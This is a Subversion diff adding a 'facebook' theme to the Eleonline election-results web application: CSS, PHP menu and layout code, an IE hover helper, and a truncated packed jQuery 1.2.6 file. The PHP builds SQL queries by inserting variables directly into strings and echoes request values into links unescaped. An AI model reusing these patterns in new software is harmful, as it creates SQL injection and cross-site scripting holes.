+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:30px;
+	height:30px;
+}		
+.stemma {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:50px;
+	height:50px;
+	text-align: center;
+}		
+
+/**********************************************************************BOTTONI W3C*****************************************************/
+
+.w3cbutton3 {
+  margin: 0px 0px 0px 5px;
+  width: 95px;
+  border: 1px solid #6A6A6A;
+  font-family: helvetica,arial,sans-serif;
+  font-size: 10px;
+  float: left;
+}
+
+.w3cbutton3 a {
+  display: block;
+  width: 100%;
+}
+
+.w3cbutton3 a:link, .w3cbutton3 a:visited {
+  background-color: #8CC8C7;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 a:hover {
+  background-color: #C9F4F3;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 span.w3c {
+  font-weight: bold;
+  padding: 0 0.4em;
+  background-color: #FFFFCC;
+  color: #0C479D;
+}
+
+.w3cbutton3 span.spec {
+  color: #333333;
+}
+
+.w3cbutton3 span.specRed {
+  color: #FF0000;
+}
+
+
+/******************** font e backcolor******************************/
+.blu 	{
+	BACKGROUND: none;
+	font-weight: bold; 
+	COLOR: #003366; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica
+}
+
+
+.red 	{
+	BACKGROUND: none; 
+	COLOR: #ff0000; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica
+}
+
+.redbig 	{
+	BACKGROUND: none; 
+	COLOR: #ff0000; 
+	FONT-SIZE: 16px; 
+	FONT-FAMILY: Verdana, Helvetica
+}
+
+.bgw	{
+	BACKGROUND: #ffffff; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica;
+	text-align: center;
+}
+
+.bggray 	{
+	BACKGROUND: #d2d2d2; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica;
+	text-align: center;
+}
+
+.bggray2 	{
+	BACKGROUND: #EFEFEF; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica;
+	text-align: center;
+	}
+
+.bggray3 	{
+	BACKGROUND: #EFEFEF; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica;
+	text-align: left;
+	}
+
+.normale {
+	BACKGROUND: none; 
+	COLOR: #000000; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica;
+	text-align: left;
+}
+
+.nobordo {
+border: 0px;
+text-align: center;
+vertical-align: middle;
+}
+
+.bordo {
+border: 1px solid #ff0000;
+text-align: left;
+vertical-align: middle;
+}
+
+
Index: /trunk/elezioni/trunk/client/temi/facebook/index.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/index.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/index.php	(revision 44)
@@ -0,0 +1,55 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+# tema like-facebook
+# for eleonline
+include_once("modules/Elezioni/funzioni.php");
+########## no blocco x grafici e risultati
+if (!isset($param['op'])) $param['op']=''; 
+if($blocco!=1 || $param['op']=="graf_gruppo" || $param['op']=="gruppo_circo" || $param['op']=="gruppo_sezione"
+|| $param['op']=="lista_circo" || $param['op']=="lista_sezione"  || $param['op']=="candidato_circo" || $param['op']=="candidato_sezione"
+)$blocco=''; else $blocco=1;
+if(isset($param['visgralista'])) $visgralista=1;
+
+function testata(){
+	global $blocco,$file;
+	echo "<div id=\"container\" >";
+	if ($file=="index") menu();
+
+	echo "<table  class=\"table-main\" cellpadding=\"0\" cellspacing=\"0\"><tr>";
+	$check=check_block("dx"); // check exist box
+		
+	if ($blocco=='1' && $check!=0){
+		echo "<td valign=\"top\" class=\"sidebar\">";
+    		block("dx");
+		echo "</td><td>&nbsp;&nbsp;</td><td valign=\"top\">"; 
+		
+	}else { 
+		echo "<td valign=\"top\">";
+	}
+
+}
+
+function piede(){
+	global $blocco;
+	$check=check_block("sx"); // check exist box
+	if ($blocco=='1' && $check!=0){
+		echo "</td><td>&nbsp;&nbsp;</td><td valign=\"top\" class=\"sidebar\">";
+    		block("sx");
+		
+	}
+	echo "</td></tr></table>";
+        echo "</div>"; #container
+
+}
+
+?>
Index: /trunk/elezioni/trunk/client/temi/facebook/menu.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/menu.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/menu.php	(revision 44)
@@ -0,0 +1,302 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+/************************
+Funzione Menu a cascata
+*************************/
+// controlla javascript by linuxap
+/*
+$js=jsexist();
+if($js=="b"){
+$_SESSION['newtema']="default";
+die("javascript non supportato - <a href=\"index.php\">torna all'homepage</a>");
+}
+*/
+        
+        // definizione variabile per button 'ok' nei form per il noscript
+	$button="<br /><object><noscript><div><input name=\"vai\" type=\"image\" src=\"modules/Elezioni/images/ok2.jpg\" alt=\"ok\" title=\"ok\" /></div></noscript></object>";
+	
+	$sqlcomu="select descrizione,fascia from ".$prefix."_ele_comuni where id_comune=$id_comune";
+	$rescomu= mysql_query("$sqlcomu",$dbi);
+	list($descr_com,$fascia)=mysql_fetch_row($rescomu);
+        echo '<style type="text/css">
+		html,body{margin:0;padding:0}
+		body{background:#FFF;color:#333}
+		div#contiene{width:999px;margin:0 auto;background:  #3B5998;color:#fff}
+	    </style>      
+	    <link rel="stylesheet" type="text/css" href="temi/facebook/menu/menu-dd.css">
+	    <script type="text/javascript" src="temi/facebook/menu/jquery-1.2.6.pack.js"></script>
+	    <script type="text/javascript" src="temi/facebook/menu/jquery.hoverIntent.minified.js"></script>
+	    <script type="text/javascript" src="temi/facebook/menu/jquery-ddi2.js"></script>
+	    <div id="contiene">
+	    	
+		    
+		<ul id="nav"><li>
+		 <a href="http://www.eleonline.it"><span style="font-size:18px;font: Comics;"><strong>elebook</strong></span></a>
+		</li>
+		<li>
+		    <a href="index.php"><strong>Home</strong></a>
+		</li>';
+
+	
+       
+        // inizio tabella
+	
+	
+	/*********************************** 
+		Scelta Comune
+	***********************************/
+	
+	if ($multicomune=='1')
+	{
+	      $sqlcomu="select t1.id_comune,t1.descrizione,count(0) from ".$prefix."_ele_comuni as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_comune=t2.id_comune and t2.chiusa<2 group by t1.id_comune,t1.descrizione order by t1.descrizione asc";
+	      $rescomu= mysql_query("$sqlcomu",$dbi);
+	      $esiste_multi=mysql_num_rows($rescomu);
+	      if ($esiste_multi>=1) {
+		    echo " <li>
+				<a href=\"#\"><strong>"._COMUNI."</strong></a>
+			  
+			  <ul>";
+			
+		      while (list($id,$descrizione,)=mysql_fetch_row($rescomu)){
+			    echo "<li><a href=\"modules.php?op=gruppo&amp;name=Elezioni&amp;id_comune=$id&amp;file=index\">
+    <img src=\"modules/Elezioni/images/logo.gif\" width=\"16\" height=\"16\" class=\"nobordo\"> $descrizione</a></li>";
+			}
+		      echo "</ul></li>";
+			   
+	      }		
+	} // fine scelta comune
+	
+	
+	
+	/*********************************** 
+		Scelta Consultazione
+	***********************************/
+       
+	$res = mysql_query("SELECT t1.id_cons_gen,t1.descrizione FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_comune='$id_comune' and t2.chiusa!='2' order by t1.data_fine desc" , $dbi); 
+	$esiste=mysql_num_rows($res);
+	//se esiste consultazione fa vedere i dati
+	if ($esiste>=1) {
+	echo " <li>
+	      <a href=\"#\"><strong>"._ELEZIONI."</strong></a>
+	    <ul>";
+	 
+	    while(list($id,$descrizione) = mysql_fetch_row($res)) {
+		echo "<li class=\"icon matita\"><a href=\"modules.php?op=gruppo&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;id_cons_gen=$id\">
+	      ".substr($descrizione,0,31)."</a></li>";
+     		
+	    }
+ 
+	   
+	echo "</ul></li>";
+
+
+
+
+
+	/*********************************** 
+		Scelta Info
+	***********************************/
+        //$temp = array('confronti'=>'','come'=>'','numeri'=>'','servizi'=>'','link'=>'','dati'=>'','affluenze_sez'=>'','votanti'=>'');
+
+       echo " <li><a href=\"#\"><strong>"._INFO."</strong></a>
+	    <ul>";
+	    echo "
+	    <li  class=\"sep\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=confronti\">"._CONFRONTI."</a><span></span></li>
+	    <li class=\"icon voto\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=come\"> "._COME."</a></li>
+	    <li class=\"icon numeri\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=numeri\">"._NUMERI."</a></li>
+	   <li class=\"icon servizi\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=servizi\">"._SERVIZI."</a></li>
+	  <li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=link\">"._LINK."</a></li>
+	  <li  class=\"sep\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=dati\">"._DATI."</a><span></span></li>
+	  <li class=\"icon affluenze\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=affluenze_sez\">"._AFFLUENZE."</a></li>
+	  <li class=\"icon votanti\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=votanti\">"._VOTANTI."</a></li>
+
+";
+
+
+	  echo "</ul></li>";
+
+
+		/*********************************** 
+		Scelta Dati
+		***********************************/
+
+ 	$res = mysql_query("SELECT count(0) FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons' ", $dbi);
+	list($num_circ) = mysql_fetch_row($res);
+       	 echo " <li><a href=\"#\"><strong>"._RISULTATI."</strong></a>
+	    <ul>";
+	  if ($genere!=4) {
+	      if (!$circo and $num_circ>1)
+	      echo "<li class=\"icon candi\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=gruppo_circo\">".substr(_GRUPPO." "._PER." "._CIRCO,0,33)."</a></li>";
+	      echo "<li class=\"icon candi\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=gruppo_sezione\">".substr(_GRUPPO." "._PER." "._SEZIONI,0,33)."</a></li>";
+	  }
+
+	if (!$votol and $fascia>$limite){ // si vota per la lista
+			if ($genere>2) {
+				if (!$circo and $num_circ>1)
+				  echo "<li class=\"icon liste\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=lista_circo\">".substr(_LISTA." "._PER." "._CIRCO,0,33)."</a></li>";
+				  
+				  echo "<li class=\"icon liste\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=lista_sezione\">".substr(_LISTA." "._PER." "._SEZIONI,0,33)."</a></li>";
+
+			         
+			      }
+		    	  
+		}
+	  if ($genere>3 and !$votoc) {
+				if (!$votoc){
+			      		if(!$circo and $num_circ>1)
+					echo "<li class=\"icon consi\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=candidato_circo\">".substr(_CONSI." "._PER." "._CIRCO,0,33)."</a></li>";
+				  echo "<li class=\"icon consi\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=candidato_sezione\">".substr(_CONSI." "._PER." "._SEZIONI,0,33)."</a></li>";
+				
+			}
+      		}
+	if ($hondt>=1) {
+		     echo "<li class=\"icon dontd\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=consiglieri\">"._CALCONS."</a></li>"; 			
+
+      		}		
+
+
+	  echo "</ul></li>";
+
+
+
+
+	/*********************************** 
+		Scelta Grafici
+	***********************************/
+
+      echo " <li><a href=\"#\"><strong>"._GRAFICI."</strong></a>
+	    <ul>";
+
+
+		echo "<li class=\"icon stat\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=affluenze_graf\">"._AFFLUENZE."</a></li>"; 
+
+		echo "<li class=\"sep\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=graf_votanti\">"._VOTI."</a><span></span></li>"; 
+#inutile		if($genere!=4 || $tipo_cons==8)
+		echo "<li class=\"icon graf\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=graf_gruppo\">"._GRUPPO."</a></li>"; 
+if($genere==5)
+		echo "<li class=\"icon graf\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=graf_gruppo&amp;visgralista=1\">"._LISTA."</a></li>"; 
+		
+		if ($genere>3){
+			if (!$circo && !$votog)	{
+			    echo "<li class=\"icon consi\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=graf_candidato\">"._CONSI."</a></li>"; 
+			}
+		}
+
+	 echo "</ul></li>";
+
+
+	} // fine verifica esistenza consultazione : variabile $esiste
+	  
+
+
+           ################ tema ##### 
+            if ($tema_on=="1"){
+		
+	   	
+           	include("temi/facebook/tema.php");		
+	   	
+	   }	
+//echo "</div>";
+echo " <li><a href=\"#\"><strong>"._OPTIONS."</strong></a>
+	    <ul>";
+
+language();
+
+flash();
+
+noblocco();
+echo "</ul></li>";
+
+echo "<li><a href=\"http://www.eleonline.it/site/modules.php?name=Contatti\"><i><span style=\"font-size:10px;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
+     by luciano apolito & roberto gigli</span></i></a>
+	    </li>";
+
+echo "</div>";
+
+
+# linguaggio x demo
+
+function language(){
+global $lang,$name,$op,$file,$filelang,$id_comune,$op,$id_cons,$id_cons_gen;
+$filename=$filelang;
+// linguaggio
+
+$menulist='';
+// scelta linguaggio
+    	$langdir = dir("modules/Elezioni/language");
+    	while($func=$langdir->read()) {
+		if(substr($func, 0, 5) == "lang-") {
+	    	$menulist .= "$func ";
+		}
+    	}
+    	closedir($langdir->handle);
+    	$menulist = explode(" ", $menulist);
+    	sort($menulist);
+    	for ($i=0; $i < sizeof($menulist); $i++) {
+		if($menulist[$i]!="") {
+	    		$tl = preg_replace("/lang-/","",$menulist[$i]);
+	    		$tl = preg_replace("/.php/","",$tl);
+	    		$altlang = ucfirst($tl);
+                        
+			if ($lang==$tl) $bordo="class=\"bordo\"";else $bordo="class=\"nobordo\"";
+	    		echo "<li><a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;newl=$tl\"><img $bordo src=\"modules/Elezioni/images/$tl.gif\"  alt=\"$altlang\" title=\"$altlang\"  width=\"15\" /> "._LINGUA."  $tl</a></li>";
+		}
+    	}
+
+}
+
+
+
+
+
+
+########################### Blocchi
+# flash x demo
+function flash(){
+global $flash,$name,$id_comune,$op,$id_cons,$id_cons_gen;
+
+if ($flash=='1'){ 
+     echo "<li><a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;flash=0\"><img class=\"nobordo\" src=\"modules/Elezioni/images/flashno.gif\" alt=\"NoFlash\" title=\"NoFlash\" width=\"15\"/> "._OFF." Flash</a></li>";
+
+}else{
+
+echo "<li><a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;flash=1\"><img class=\"nobordo\" src=\"modules/Elezioni/images/flashyes.gif\" alt=\"YesFlash\" title=\"YesFlash\" width=\"15\" /> "._ON." Flash</a></li>";
+
+
+}
+
+}
+ 
+ 
+# blocco no
+function noblocco(){
+global $blocco,$name,$id_comune,$op,$id_cons,$id_cons_gen;
+
+if ($blocco=='1'){ 
+     	echo "<li><a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;block=0\"><img class=\"nobordo\" src=\"modules/Elezioni/images/close.gif\" alt=\"NoBlocco\" title=\"NoBlocco\" width=\"15\"/> "._OFF." "._BLOCCO."</a></li>";
+
+}else{
+
+	echo "<li><a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;block=1\"><img class=\"nobordo\" src=\"modules/Elezioni/images/open.gif\" alt=\"YesBlocco\" title=\"YesBlocco\" width=\"15\" /> "._ON." "._BLOCCO."</a></li>";
+
+}
+
+}
+
+
+
+      		
+
+
+	
+?>
Index: /trunk/elezioni/trunk/client/temi/facebook/menu/csshover.htc
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/menu/csshover.htc	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/menu/csshover.htc	(revision 44)
@@ -0,0 +1,120 @@
+<attach event="ondocumentready" handler="parseStylesheets" />
+<script>
+/**
+ *	Whatever:hover - V1.42.060206 - hover & active
+ *	------------------------------------------------------------
+ *	(c) 2005 - Peter Nederlof
+ *	Peterned - http://www.xs4all.nl/~peterned/
+ *	License  - http://creativecommons.org/licenses/LGPL/2.1/
+ *
+ *	Whatever:hover is free software; you can redistribute it and/or
+ *	modify it under the terms of the GNU Lesser General Public
+ *	License as published by the Free Software Foundation; either
+ *	version 2.1 of the License, or (at your option) any later version.
+ *
+ *	Whatever:hover is distributed in the hope that it will be useful,
+ *	but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ *	Lesser General Public License for more details.
+ *
+ *	Credits and thanks to:
+ *	Arnoud Berendsen, Martin Reurings, Robert Hanson
+ *
+ *	howto: body { behavior:url("csshover.htc"); }
+ *	------------------------------------------------------------
+ */
+
+var csshoverReg = /(^|\s)(([^a]([^ ]+)?)|(a([^#.][^ ]+)+)):(hover|active)/i,
+currentSheet, doc = window.document, hoverEvents = [], activators = {
+	onhover:{on:'onmouseover', off:'onmouseout'},
+	onactive:{on:'onmousedown', off:'onmouseup'}
+}
+
+function parseStylesheets() {
+	if(!/MSIE (5|6)/.test(navigator.userAgent)) return;
+	window.attachEvent('onunload', unhookHoverEvents);
+	var sheets = doc.styleSheets, l = sheets.length;
+	for(var i=0; i<l; i++) 
+		parseStylesheet(sheets[i]);
+}
+	function parseStylesheet(sheet) {
+		if(sheet.imports) {
+			try {
+				var imports = sheet.imports, l = imports.length;
+				for(var i=0; i<l; i++) parseStylesheet(sheet.imports[i]);
+			} catch(securityException){}
+		}
+
+		try {
+			var rules = (currentSheet = sheet).rules, l = rules.length;
+			for(var j=0; j<l; j++) parseCSSRule(rules[j]);
+		} catch(securityException){}
+	}
+
+	function parseCSSRule(rule) {
+		var select = rule.selectorText, style = rule.style.cssText;
+		if(!csshoverReg.test(select) || !style) return;
+
+		var pseudo = select.replace(/[^:]+:([a-z-]+).*/i, 'on$1');
+		var newSelect = select.replace(/(\.([a-z0-9_-]+):[a-z]+)|(:[a-z]+)/gi, '.$2' + pseudo);
+		var className = (/\.([a-z0-9_-]*on(hover|active))/i).exec(newSelect)[1];
+		var affected = select.replace(/:(hover|active).*$/, '');
+		var elements = getElementsBySelect(affected);
+		if(elements.length == 0) return;
+
+		currentSheet.addRule(newSelect, style);
+		for(var i=0; i<elements.length; i++)
+			new HoverElement(elements[i], className, activators[pseudo]);
+	}
+
+function HoverElement(node, className, events) {
+	if(!node.hovers) node.hovers = {};
+	if(node.hovers[className]) return;
+	node.hovers[className] = true;
+	hookHoverEvent(node, events.on, function() { node.className += ' ' + className; });
+	hookHoverEvent(node, events.off, function() { node.className = node.className.replace(new RegExp('\\s+'+className, 'g'),''); });
+}
+	function hookHoverEvent(node, type, handler) {
+		node.attachEvent(type, handler);
+		hoverEvents[hoverEvents.length] = { 
+			node:node, type:type, handler:handler 
+		};
+	}
+
+	function unhookHoverEvents() {
+		for(var e,i=0; i<hoverEvents.length; i++) {
+			e = hoverEvents[i]; 
+			e.node.detachEvent(e.type, e.handler);
+		}
+	}
+
+function getElementsBySelect(rule) {
+	var parts, nodes = [doc];
+	parts = rule.split(' ');
+	for(var i=0; i<parts.length; i++) {
+		nodes = getSelectedNodes(parts[i], nodes);
+	}	return nodes;
+}
+	function getSelectedNodes(select, elements) {
+		var result, node, nodes = [];
+		var identify = (/\#([a-z0-9_-]+)/i).exec(select);
+		if(identify) {
+			var element = doc.getElementById(identify[1]);
+			return element? [element]:nodes;
+		}
+		
+		var classname = (/\.([a-z0-9_-]+)/i).exec(select);
+		var tagName = select.replace(/(\.|\#|\:)[a-z0-9_-]+/i, '');
+		var classReg = classname? new RegExp('\\b' + classname[1] + '\\b'):false;
+		for(var i=0; i<elements.length; i++) {
+			result = tagName? elements[i].all.tags(tagName):elements[i].all; 
+			for(var j=0; j<result.length; j++) {
+				node = result[j];
+				if(classReg && !classReg.test(node.className)) continue;
+				nodes[nodes.length] = node;
+			}
+		}	
+		
+		return nodes;
+	}
+</script>
Index: /trunk/elezioni/trunk/client/temi/facebook/menu/iefix-htc.css
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/menu/iefix-htc.css	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/menu/iefix-htc.css	(revision 44)
@@ -0,0 +1,1 @@
+body { behavior:url("csshover.htc")}
Index: /trunk/elezioni/trunk/client/temi/facebook/menu/jquery-1.2.6.pack.js
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/menu/jquery-1.2.6.pack.js	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/menu/jquery-1.2.6.pack.js	(revision 44)
@@ -0,0 +1,11 @@
+/*
+ * jQuery 1.2.6 - New Wave Javascript
+ *
+ * Copyright (c) 2008 John Resig (jquery.com)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * $Date: 2008-05-24 14:22:17 -0400 (Sat, 24 May 2008) $
+ * $Rev: 5685 $
+ */
+eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(H(){J w=1b.4M,3m$=1b.$;J D=1b.4M=1b.$=H(a,b){I 2B D.17.5j(a,b)};J u=/^[^<]*(<(.|\\s)+>)[^>]*$|^#(\\w+)$/,62=/^.[^:#\\[\\.]*$/,12;D.17=D.44={5j:H(d,b){d=d||S;G(d.16){7[0]=d;7.K=1;I 7}G(1j d=="23"){J c=u.2D(d);G(c&&(c[1]||!b)){G(c[1])d=D.4h([c[1]],b);N{J a=S.61(c[3]);G(a){G(a.2v!=c[3])I D().2q(d);I D(a)}d=[]}}N I D(b).2q(d)}N G(D.1D(d))I D(S)[D.17.27?"27":"43"](d);I 7.6Y(D.2d(d))},5w:"1.2.6",8G:H(){I 7.K},K:0,3p:H(a){I a==12?D.2d(7):7[a]},2I:H(b){J a=D(b);a.5n=7;I a},6Y:H(a){7.K=0;2p.44.1p.1w(7,a);I 7},P:H(a,b){I D.P(7,a,b)},5i:H(b){J a=-1;I D.2L(b&&b.5w?b[0]:b,7)},1K:H(c,a,b){J d=c;G(c.1q==56)G(a===12)I 7[0]&&D[b||"1K"](7[0],c);N{d={};d[c]=a}I 7.P(H(i){R(c 1n d)D.1K(b?7.V:7,c,D.1i(7,d[c],b,i,c))})},1g:H(b,a){G((b==\'2h\'||b==\'1Z\')&&3d(a)<0)a=12;I 7.1K(b,a,"2a")},1r:H(b){G(1j b!="49"&&b!=U)I 7.4E().3v((7[0]&&7[0].2z||S).5F(b));J a="";D.P(b||7,H(){D.P(7.3t,H(){G(7.16!=8)a+=7.16!=1?7.76:D.17.1r([7])})});I a},5z:H(b){G(7[0])D(b,7[0].2z).5y().39(7[0]).2l(H(){J a=7;1B(a.1x)a=a.1x;I a}).3v(7);I 7},8Y:H(a){I 7.P(H(){D(7).6Q().5z(a)})},8R:H(a){I 7.P(H(){D(7).5z(a)})},3v:H(){I 7.3W(19,M,Q,H(a){G(7.16==1)7.3U(a)})},6F:H(){I 7.3W(19,M,M,H(a){G(7.16==1)7.39(a,7.1x)})},6E:H(){I 7.3W(19,Q,Q,H(a){7.1d.39(a,7)})},5q:H(){I 7.3W(19,Q,M,H(a){7.1d.39(a,7.2H)})},3l:H(){I 7.5n||D([])},2q:H(b){J c=D.2l(7,H(a){I D.2q(b,a)});I 7.2I(/[^+>] [^+>]/.11(b)||b.1h("..")>-1?D.4r(c):c)},5y:H(e){J f=7.2l(H(){G(D.14.1f&&!D.4n(7)){J a=7.6o(M),5h=S.3h("1v");5h.3U(a);I D.4h([5h.4H])[0]}N I 7.6o(M)});J d=f.2q("*").5c().P(H(){G(7[E]!=12)7[E]=U});G(e===M)7.2q("*").5c().P(H(i){G(7.16==3)I;J c=D.L(7,"3w");R(J a 1n c)R(J b 1n c[a])D.W.1e(d[i],a,c[a][b],c[a][b].L)});I f},1E:H(b){I 7.2I(D.1D(b)&&D.3C(7,H(a,i){I b.1k(a,i)})||D.3g(b,7))},4Y:H(b){G(b.1q==56)G(62.11(b))I 7.2I(D.3g(b,7,M));N b=D.3g(b,7);J a=b.K&&b[b.K-1]!==12&&!b.16;I 7.1E(H(){I a?D.2L(7,b)<0:7!=b})},1e:H(a){I 7.2I(D.4r(D.2R(7.3p(),1j a==\'23\'?D(a):D.2d(a))))},3F:H(a){I!!a&&D.3g(a,7).K>0},7T:H(a){I 7.3F("."+a)},6e:H(b){G(b==12){G(7.K){J c=7[0];G(D.Y(c,"2A")){J e=c.64,63=[],15=c.15,2V=c.O=="2A-2V";G(e<0)I U;R(J i=2V?e:0,2f=2V?e+1:15.K;i<2f;i++){J d=15[i];G(d.2W){b=D.14.1f&&!d.at.2x.an?d.1r:d.2x;G(2V)I b;63.1p(b)}}I 63}N I(7[0].2x||"").1o(/\\r/g,"")}I 12}G(b.1q==4L)b+=\'\';I 7.P(H(){G(7.16!=1)I;G(b.1q==2p&&/5O|5L/.11(7.O))7.4J=(D.2L(7.2x,b)>=0||D.2L(7.34,b)>=0);N G(D.Y(7,"2A")){J a=D.2d(b);D("9R",7).P(H(){7.2W=(D.2L(7.2x,a)>=0||D.2L(7.1r,a)>=0)});G(!a.K)7.64=-1}N 7.2x=b})},2K:H(a){I a==12?(7[0]?7[0].4H:U):7.4E().3v(a)},7b:H(a){I 7.5q(a).21()},79:H(i){I 7.3s(i,i+1)},3s:H(){I 7.2I(2p.44.3s.1w(7,19))},2l:H(b){I 7.2I(D.2l(7,H(a,i){I b.1k(a,i,a)}))},5c:H(){I 7.1e(7.5n)},L:H(d,b){J a=d.1R(".");a[1]=a[1]?"."+a[1]:"";G(b===12){J c=7.5C("9z"+a[1]+"!",[a[0]]);G(c===12&&7.K)c=D.L(7[0],d);I c===12&&a[1]?7.L(a[0]):c}N I 7.1P("9u"+a[1]+"!",[a[0],b]).P(H(){D.L(7,d,b)})},3b:H(a){I 7.P(H(){D.3b(7,a)})},3W:H(g,f,h,d){J e=7.K>1,3x;I 7.P(H(){G(!3x){3x=D.4h(g,7.2z);G(h)3x.9o()}J b=7;G(f&&D.Y(7,"1T")&&D.Y(3x[0],"4F"))b=7.3H("22")[0]||7.3U(7.2z.3h("22"));J c=D([]);D.P(3x,H(){J a=e?D(7).5y(M)[0]:7;G(D.Y(a,"1m"))c=c.1e(a);N{G(a.16==1)c=c.1e(D("1m",a).21());d.1k(b,a)}});c.P(6T)})}};D.17.5j.44=D.17;H 6T(i,a){G(a.4d)D.3Y({1a:a.4d,31:Q,1O:"1m"});N D.5u(a.1r||a.6O||a.4H||"");G(a.1d)a.1d.37(a)}H 1z(){I+2B 8J}D.1l=D.17.1l=H(){J 